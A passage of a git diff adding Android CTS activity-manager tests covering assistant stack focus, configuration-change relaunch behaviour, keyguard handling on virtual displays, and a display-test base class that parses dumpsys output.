+ // Ensure that the fullscreen stack is on top and the test activity is now visible
+ mAmWmState.waitForValidState(TEST_ACTIVITY, expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+ mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+ expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+ expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+
+ // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
+ executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
+ mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ mAmWmState.assertFrontStackActivityType(
+ "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
+ mAmWmState.assertFocusedStack("Assistant stack should be focused.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ }
+
+ @Test
+ @Presubmit
+ public void testAssistantStackFinishToPreviousApp() throws Exception {
+ // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
+ // the fullscreen activity is still visible and on top after the assistant activity finishes
+ launchActivity(TEST_ACTIVITY);
+ enableAssistant();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_FINISH_SELF, "true");
+ disableAssistant();
+ mAmWmState.waitForValidState(TEST_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+ mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+ mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ @Presubmit
+ public void testDisallowEnterPiPFromAssistantStack() throws Exception {
+ enableAssistant();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_ENTER_PIP, "true");
+ disableAssistant();
+ mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ }
+
+ // TODO(b/69573940): Add back to presubmit
+ @Test
+ public void testTranslucentAssistantActivityStackVisibility() throws Exception {
+ enableAssistant();
+ // Go home, launch the assistant and check to see that home is visible
+ removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ launchHomeActivity();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+ assertAssistantStackExists();
+ mAmWmState.waitForHomeActivityVisible();
+ if (hasHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
+ // Launch a fullscreen app and then launch the assistant and check to see that it is
+ // also visible
+ removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+ assertAssistantStackExists();
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+ // Go home, launch assistant, launch app into fullscreen with activity present, and go back.
+ // Ensure home is visible.
+ removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+ launchHomeActivity();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
+ TEST_ACTIVITY);
+ mAmWmState.waitForValidState(TEST_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertHomeActivityVisible(false);
+ pressBackButton();
+ mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ assertAssistantStackExists();
+ mAmWmState.waitForHomeActivityVisible();
+ if (hasHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
+ // Launch a fullscreen and docked app and then launch the assistant and check to see that it
+ // is also visible
+ if (supportsSplitScreenMultiWindow()) {
+ removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+ launchActivityInDockStack(DOCKED_ACTIVITY);
+ launchActivity(TEST_ACTIVITY);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+ assertAssistantStackExists();
+ mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ }
+ disableAssistant();
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchIntoSameTask() throws Exception {
+ enableAssistant();
+
+ // Launch the assistant
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+ assertAssistantStackExists();
+ mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+ mAmWmState.assertFocusedStack("Expected assistant stack focused",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ assertEquals(1, mAmWmState.getAmState().getStackByActivityType(
+ ACTIVITY_TYPE_ASSISTANT).getTasks().size());
+ final int taskId = mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY)
+ .mTaskId;
+
+ // Launch a new fullscreen activity
+ // Using Animation Test Activity because it is opaque on all devices.
+ launchActivity(ANIMATION_TEST_ACTIVITY);
+ mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
+
+ // Launch the assistant again and ensure that it goes into the same task
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+ assertAssistantStackExists();
+ mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+ mAmWmState.assertFocusedStack("Expected assistant stack focused",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ assertEquals(1, mAmWmState.getAmState().getStackByActivityType(
+ ACTIVITY_TYPE_ASSISTANT).getTasks().size());
+ assertEquals(taskId,
+ mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY).mTaskId);
+
+ disableAssistant();
+ }
+
+ @Test
+ public void testPinnedStackWithAssistant() throws Exception {
+ if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+ enableAssistant();
+
+ // Launch a fullscreen activity and a PIP activity, then launch the assistant, and ensure
+ // that the test activity is still visible
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+ assertAssistantStackExists();
+ mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+ disableAssistant();
+ }
+
+ /**
+ * Asserts that the assistant stack exists.
+ */
+ private void assertAssistantStackExists() throws Exception {
+ mAmWmState.assertContainsStack("Must contain assistant stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ }
+
+ /**
+ * Sets the system voice interaction service.
+ */
+ private void enableAssistant() throws Exception {
+ executeShellCommand("settings put secure voice_interaction_service " +
+ getActivityComponentName(VOICE_INTERACTION_SERVICE));
+ }
+
+ /**
+ * Resets the system voice interaction service.
+ */
+ private void disableAssistant() throws Exception {
+ executeShellCommand("settings delete secure voice_interaction_service " +
+ getActivityComponentName(VOICE_INTERACTION_SERVICE));
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
new file mode 100644
index 0000000..d2c97c5
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerConfigChangeTests
+ */
+public class ActivityManagerConfigChangeTests extends ActivityManagerTestBase {
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+
+ private static final String FONT_SCALE_ACTIVITY_NAME = "FontScaleActivity";
+ private static final String FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME =
+ "FontScaleNoRelaunchActivity";
+
+ private static final float EXPECTED_FONT_SIZE_SP = 10.0f;
+
+ @Test
+ public void testRotation90Relaunch() throws Exception{
+ // Should relaunch on every rotation and receive no onConfigurationChanged()
+ testRotation(TEST_ACTIVITY_NAME, 1, 1, 0);
+ }
+
+ @Test
+ public void testRotation90NoRelaunch() throws Exception {
+ // Should receive onConfigurationChanged() on every rotation and no relaunch
+ testRotation(NO_RELAUNCH_ACTIVITY_NAME, 1, 0, 1);
+ }
+
+ @Test
+ public void testRotation180Relaunch() throws Exception {
+ // Should receive nothing
+ testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
+ }
+
+ @Test
+ public void testRotation180NoRelaunch() throws Exception {
+ // Should receive nothing
+ testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
+ }
+
+ @Presubmit
+ @Test
+ public void testChangeFontScaleRelaunch() throws Exception {
+ // Should relaunch and receive no onConfigurationChanged()
+ testChangeFontScale(FONT_SCALE_ACTIVITY_NAME, true /* relaunch */);
+ }
+
+ @Presubmit
+ @Test
+ public void testChangeFontScaleNoRelaunch() throws Exception {
+ // Should receive onConfigurationChanged() and no relaunch
+ testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME, false /* relaunch */);
+ }
+
+ private void testRotation(
+ String activityName, int rotationStep, int numRelaunch, int numConfigChange)
+ throws Exception {
+ launchActivity(activityName);
+
+ final String[] waitForActivitiesVisible = new String[] {activityName};
+ mAmWmState.computeState(waitForActivitiesVisible);
+
+ final int initialRotation = 4 - rotationStep;
+ setDeviceRotation(initialRotation);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
+ activityName).mStackId;
+ final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
+ final int newDeviceRotation = getDeviceRotation(displayId);
+ if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
+ logE("Got an invalid device rotation value. "
+ + "Continuing the test despite of that, but it is likely to fail.");
+ } else if (newDeviceRotation != initialRotation) {
+ log("This device doesn't support user rotation "
+ + "mode. Not continuing the rotation checks.");
+ return;
+ }
+
+ for (int rotation = 0; rotation < 4; rotation += rotationStep) {
+ final String logSeparator = clearLogcat();
+ setDeviceRotation(rotation);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange, logSeparator);
+ }
+ }
+
+ private void testChangeFontScale(
+ String activityName, boolean relaunch) throws Exception {
+ launchActivity(activityName);
+ final String[] waitForActivitiesVisible = new String[] {activityName};
+ mAmWmState.computeState(waitForActivitiesVisible);
+
+ setFontScale(1.0f);
+ mAmWmState.computeState(waitForActivitiesVisible);
+
+ final int densityDpi = getGlobalDensityDpi();
+
+ for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
+ final String logSeparator = clearLogcat();
+ setFontScale(fontScale);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1,
+ logSeparator);
+
+ // Verify that the display metrics are updated, and therefore the text size is also
+ // updated accordingly.
+ assertExpectedFontPixelSize(activityName,
+ scaledPixelsToPixels(EXPECTED_FONT_SIZE_SP, fontScale, densityDpi),
+ logSeparator);
+ }
+ }
+
+ /**
+ * Test updating application info when app is running. An activity with matching package name
+ * must be recreated and its asset sequence number must be incremented.
+ */
+ @Test
+ public void testUpdateApplicationInfo() throws Exception {
+ final String firstLogSeparator = clearLogcat();
+
+ // Launch an activity that prints applied config.
+ launchActivity(TEST_ACTIVITY_NAME);
+ final int assetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, firstLogSeparator);
+
+ final String logSeparator = clearLogcat();
+ // Update package info.
+ executeShellCommand("am update-appinfo all " + componentName);
+ mAmWmState.waitForWithAmState((amState) -> {
+ // Wait for activity to be resumed and asset seq number to be updated.
+ try {
+ return readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator) == assetSeq + 1
+ && amState.hasActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+ } catch (Exception e) {
+ logE("Error waiting for valid state: " + e.getMessage());
+ return false;
+ }
+ }, "Waiting asset sequence number to be updated and for activity to be resumed.");
+
+ // Check if activity is relaunched and asset seq is updated.
+ assertRelaunchOrConfigChanged(TEST_ACTIVITY_NAME, 1 /* numRelaunch */,
+ 0 /* numConfigChange */, logSeparator);
+ final int newAssetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator);
+ assertEquals("Asset sequence number must be incremented.", assetSeq + 1, newAssetSeq);
+ }
+
+ private static final Pattern sConfigurationPattern = Pattern.compile(
+ "(.+): Configuration: \\{(.*) as.(\\d+)(.*)\\}");
+
+ /** Read asset sequence number in last applied configuration from logs. */
+ private int readAssetSeqNumber(String activityName, String logSeparator) throws Exception {
+ final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ final Matcher matcher = sConfigurationPattern.matcher(line);
+ if (matcher.matches()) {
+ final String assetSeqNumber = matcher.group(3);
+ try {
+ return Integer.valueOf(assetSeqNumber);
+ } catch (NumberFormatException e) {
+ // Ignore, asset seq number is not printed when not set.
+ }
+ }
+ }
+ return 0;
+ }
+
+ // Calculate the scaled pixel size just like the device is supposed to.
+ private static int scaledPixelsToPixels(float sp, float fontScale, int densityDpi) {
+ final int DEFAULT_DENSITY = 160;
+ float f = densityDpi * (1.0f / DEFAULT_DENSITY) * fontScale * sp;
+ return (int) ((f >= 0) ? (f + 0.5f) : (f - 0.5f));
+ }
+
+ private static Pattern sDeviceDensityPattern =
+ Pattern.compile(".*?-(l|m|tv|h|xh|xxh|xxxh|\\d+)dpi-.*?");
+
+ private int getGlobalDensityDpi() throws Exception {
+ final String result = executeShellCommand("am get-config");
+ final String[] lines = result.split("\n");
+ if (lines.length < 1) {
+ throw new IllegalStateException("Invalid config returned from device: " + result);
+ }
+
+ final Matcher matcher = sDeviceDensityPattern.matcher(lines[0]);
+ if (!matcher.matches()) {
+ throw new IllegalStateException("Invalid config returned from device: " + lines[0]);
+ }
+ switch (matcher.group(1)) {
+ case "l": return 120;
+ case "m": return 160;
+ case "tv": return 213;
+ case "h": return 240;
+ case "xh": return 320;
+ case "xxh": return 480;
+ case "xxxh": return 640;
+ }
+ return Integer.parseInt(matcher.group(1));
+ }
+
+ private static final Pattern sFontSizePattern = Pattern.compile("^(.+): fontPixelSize=(.+)$");
+
+ /** Read the font size in the last log line. */
+ private void assertExpectedFontPixelSize(String activityName, int fontPixelSize,
+ String logSeparator) throws Exception {
+ final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ final Matcher matcher = sFontSizePattern.matcher(line);
+ if (matcher.matches()) {
+ assertEquals("Expected font pixel size does not match", fontPixelSize,
+ Integer.parseInt(matcher.group(2)));
+ return;
+ }
+ }
+ fail("No fontPixelSize reported from activity " + activityName);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java
new file mode 100644
index 0000000..a50aa83
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Display tests that require a keyguard.
+ *
+ * <p>Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayKeyguardTests
+ */
+public class ActivityManagerDisplayKeyguardTests extends ActivityManagerDisplayTestBase {
+ private static final String DISMISS_KEYGUARD_ACTIVITY = "DismissKeyguardActivity";
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setLockDisabled(false);
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ tearDownLockCredentials();
+ }
+
+ /**
+ * Tests whether a FLAG_DISMISS_KEYGUARD activity on a secondary display is visible (for an
+ * insecure keyguard).
+ */
+ @Test
+ public void testDismissKeyguardActivity_secondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) {
+ return;
+ }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java
new file mode 100644
index 0000000..afad769
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Display tests that require a locked keyguard.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayLockedKeyguardTests
+ */
+public class ActivityManagerDisplayLockedKeyguardTests extends ActivityManagerDisplayTestBase {
+
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+ private static final String DISMISS_KEYGUARD_ACTIVITY = "DismissKeyguardActivity";
+ private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setLockCredential();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ tearDownLockCredentials();
+ super.tearDown();
+ }
+
+ /**
+ * Test that virtual display content is hidden when device is locked.
+ */
+ @Test
+ public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) { return; }
+
+ // Create new usual virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+
+ // Lock the device.
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_STOPPED);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false /* visible */);
+
+ // Unlock and check if visibility is back.
+ unlockDeviceWithCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+ }
+
+ /**
+ * Tests whether a FLAG_DISMISS_KEYGUARD activity on a secondary display dismisses the keyguard.
+ */
+ @Test
+ public void testDismissKeyguard_secondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) {
+ return;
+ }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ }
+
+ @Test
+ public void testDismissKeyguard_whileOccluded_secondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) {
+ return;
+ }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(SHOW_WHEN_LOCKED_ACTIVITY).build());
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
new file mode 100644
index 0000000..ff96494
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
@@ -0,0 +1,456 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Base class for ActivityManager display tests.
+ *
+ * @see ActivityManagerDisplayTests
+ * @see ActivityManagerDisplayLockedKeyguardTests
+ */
+public class ActivityManagerDisplayTestBase extends ActivityManagerTestBase {
+
+ static final int CUSTOM_DENSITY_DPI = 222;
+
+ private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity processes";
+ private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+ private static final int INVALID_DENSITY_DPI = -1;
+
+ private boolean mVirtualDisplayCreated;
+ private boolean mDisplaySimulated;
+
+ /** Temp storage used for parsing. */
+ final LinkedList<String> mDumpLines = new LinkedList<>();
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ destroyVirtualDisplays();
+ destroySimulatedDisplays();
+ super.tearDown();
+ }
+
+ /** Contains the configurations applied to attached displays. */
+ static final class DisplayState {
+ int mDisplayId;
+ String mOverrideConfig;
+
+ private DisplayState(int displayId, String overrideConfig) {
+ mDisplayId = displayId;
+ mOverrideConfig = overrideConfig;
+ }
+
+ private int getWidth() {
+ final String[] configParts = mOverrideConfig.split(" ");
+ for (String part : configParts) {
+ if (part.endsWith("dp") && part.startsWith("w")) {
+ final String widthString = part.substring(1, part.length() - 3);
+ return Integer.parseInt(widthString);
+ }
+ }
+
+ return -1;
+ }
+
+ private int getHeight() {
+ final String[] configParts = mOverrideConfig.split(" ");
+ for (String part : configParts) {
+ if (part.endsWith("dp") && part.startsWith("h")) {
+ final String heightString = part.substring(1, part.length() - 3);
+ return Integer.parseInt(heightString);
+ }
+ }
+
+ return -1;
+ }
+
+ int getDpi() {
+ final String[] configParts = mOverrideConfig.split(" ");
+ for (String part : configParts) {
+ if (part.endsWith("dpi")) {
+ final String densityDpiString = part.substring(0, part.length() - 3);
+ return Integer.parseInt(densityDpiString);
+ }
+ }
+
+ return -1;
+ }
+ }
+
+ /** Contains the configurations applied to attached displays. */
+ static final class ReportedDisplays {
+ private static final Pattern sGlobalConfigurationPattern =
+ Pattern.compile("mGlobalConfiguration: (\\{.*\\})");
+ private static final Pattern sDisplayOverrideConfigurationsPattern =
+ Pattern.compile("Display override configurations:");
+ private static final Pattern sDisplayConfigPattern =
+ Pattern.compile("(\\d+): (\\{.*\\})");
+
+ String mGlobalConfig;
+ private Map<Integer, DisplayState> mDisplayStates = new HashMap<>();
+
+ static ReportedDisplays create(LinkedList<String> dump) {
+ final ReportedDisplays result = new ReportedDisplays();
+
+ while (!dump.isEmpty()) {
+ final String line = dump.pop().trim();
+
+ Matcher matcher = sDisplayOverrideConfigurationsPattern.matcher(line);
+ if (matcher.matches()) {
+ log(line);
+ while (ReportedDisplays.shouldContinueExtracting(dump, sDisplayConfigPattern)) {
+ final String displayOverrideConfigLine = dump.pop().trim();
+ log(displayOverrideConfigLine);
+ matcher = sDisplayConfigPattern.matcher(displayOverrideConfigLine);
+ matcher.matches();
+ final Integer displayId = Integer.valueOf(matcher.group(1));
+ result.mDisplayStates.put(displayId,
+ new DisplayState(displayId, matcher.group(2)));
+ }
+ continue;
+ }
+
+ matcher = sGlobalConfigurationPattern.matcher(line);
